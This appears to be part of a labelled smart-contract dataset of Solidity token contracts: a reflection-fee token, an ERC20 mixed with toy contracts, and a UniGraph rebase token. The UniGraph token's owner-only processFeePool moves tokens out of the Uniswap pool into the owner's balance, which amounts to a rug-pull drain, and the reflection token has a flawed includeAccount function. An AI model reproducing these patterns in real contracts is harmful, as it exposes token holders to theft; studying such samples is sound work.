function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(3);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2020-12-16
*/
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract A {
uint[] xs;
function Afunction() public {
xs.push(100);
xs.push(200);
xs.push(300);
}
// can be called from web3
function foo() public view {
return;
}
}
// trying to call foo from another contract does not work
contract B {
A a;
function Bfunction() public{
a = new A();
}
// COMPILATION ERROR
// Return argument type inaccessible dynamic type is not implicitly convertible
// to expected type (type of first return variable) uint256[] memory.
function bar() public view {
return a.foo();
}
}
contract MyContract {
string[] strings;
constructor()public {
strings.push("hi");
strings.push("bye");
}
function bar() public view returns(string memory) {
return strings[1];
}
}
contract MyTheContract {
uint x = 0;
function foo(uint _x) public{
x = 10 + _x;
}
function bar() public view returns(uint) {
return x; // returns 11
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract PolkaOracleTokenContract is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 15;
_totalSupply = 19000000*10**15;
_balances[msg.sender] = _totalSupply;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2020-08-15
*/
pragma solidity 0.6.0;
/*
https://UniGraph.app
___ ___ ___ ___ ___ ___ ___
/\__\ /\__\ ___ /\ \ /\ \ /\ \ /\ \ /\__\
/:/ / /::| | /\ \ /::\ \ /::\ \ /::\ \ /::\ \ /:/ /
/:/ / /:|:| | \:\ \ /:/\:\ \ /:/\:\ \ /:/\:\ \ /:/\:\ \ /:/__/
/:/ / ___ /:/|:| |__ /::\__\ /:/ \:\ \ /::\~\:\ \ /::\~\:\ \ /::\~\:\ \ /::\ \ ___
/:/__/ /\__\ /:/ |:| /\__\ __/:/\/__/ /:/__/_\:\__\ /:/\:\ \:\__\ /:/\:\ \:\__\ /:/\:\ \:\__\ /:/\:\ /\__\
\:\ \ /:/ / \/__|:|/:/ / /\/:/ / \:\ /\ \/__/ \/_|::\/:/ / \/__\:\/:/ / \/__\:\/:/ / \/__\:\/:/ /
\:\ /:/ / |:/:/ / \::/__/ \:\ \:\__\ |:|::/ / \::/ / \::/ / \::/ /
\:\/:/ / |::/ / \:\__\ \:\/:/ / |:|\/__/ /:/ / \/__/ /:/ /
\::/ / /:/ / \/__/ \::/ / |:| | /:/ / /:/ /
\/__/ \/__/ \/__/ \|__| \/__/ \/__/
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Uniswap v2 interfaces
interface IUniswapV2Pair {
function sync() external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Graph is Ownable {
string public name = "UniGraph";
string public symbol = "GRAPH";
uint256 public constant decimals = 18;
using SafeMath for uint256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public override {
_owner = msg.sender;
_feeTaker = msg.sender;
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[_owner] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
lastPoolFeeTime = now;
emit Transfer(address(0x0), _owner, _totalSupply);
}
function updateBranding(string memory newName, string memory newSymbol) public onlyOwner {
name = newName;
symbol = newSymbol;
}
uint256 private constant DECIMALS = 18;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 100_000 * 10**DECIMALS;
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
mapping (address => mapping (address => uint256)) private _allowedFragments;
address public _feeTaker;
event FeeTakerTransferred(address indexed previousFeeTaker, address indexed newFeeTaker);
function transferFeeTaker(address newFeeTaker) public virtual onlyOwner {
emit FeeTakerTransferred(_feeTaker, newFeeTaker);
_feeTaker = newFeeTaker;
}
function feeTaker() public view returns (address) {
return _feeTaker;
}
uint256 epoch = 0;
function rebasePer(uint256 supplyPercent) external onlyOwner returns (uint256) {
epoch = epoch.add(1);
if(supplyPercent <= 50 || supplyPercent >= 100) {
revert();
}
uint256 absSupplyPercent = uint256(supplyPercent);
_totalSupply = _totalSupply.mul(absSupplyPercent).div(100);
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
function rebase(int256 supplyDelta) external onlyOwner returns (uint256) {
epoch = epoch.add(1);
if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
uint256 absSupplyDelta = uint256(supplyDelta);
if(supplyDelta < 0) {
absSupplyDelta = uint256(-supplyDelta);
}
if(supplyDelta < 0) {
_totalSupply = _totalSupply.sub(absSupplyDelta);
}
else {
_totalSupply = _totalSupply.add(absSupplyDelta);
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
function totalSupply()
public
view
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address who)
public
view
returns (uint256)
{
return _gonBalances[who].div(_gonsPerFragment);
}
function transfer(address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
function allowance(address owner_, address spender)
public
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
// Uniswap Pool Methods
IUniswapV2Factory public uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
uint256 public POOL_FEE_DAILY_PERCENT = 1;
function setPoolFeePercent(uint256 newPer) public onlyOwner {
require(newPer >= 0);
require(newPer < 5);
POOL_FEE_DAILY_PERCENT = newPer;
}
function poolFeeAvailable() public view returns (uint256) {
uint256 timeBetweenLastPoolBurn = now - lastPoolFeeTime;
uint256 tokensInUniswapPool = balanceOf(uniswapPool);
uint256 dayInSeconds = 1 days;
return (tokensInUniswapPool.mul(POOL_FEE_DAILY_PERCENT)
.mul(timeBetweenLastPoolBurn))
.div(dayInSeconds)
.div(100);
}
function pretty() public view returns (uint256) {
return _totalSupply.div(1e18);
}
address public uniswapPool;
uint256 public lastPoolFeeTime;
event PoolFeeDropped(uint256 amount, uint256 poolBalance);
function processFeePool() external onlyOwner {
// Reset last fee time
lastPoolFeeTime = now;
uint256 feeQty = poolFeeAvailable();
_totalSupply = _totalSupply.sub(feeQty);
uint256 burnQtyInGons = _gonsPerFragment * feeQty;
_gonBalances[uniswapPool] = _gonBalances[uniswapPool].sub(burnQtyInGons);
_gonBalances[_owner] = _gonBalances[_owner].add(burnQtyInGons);
IUniswapV2Pair(uniswapPool).sync();
emit PoolFeeDropped(feeQty, balanceOf(uniswapPool));
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-09-11
*/
// File: node_modules\@openzeppelin\contracts\utils\Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: node_modules\@openzeppelin\contracts\token\ERC20\IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules\@openzeppelin\contracts\math\SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin\contracts\token\ERC20\ERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
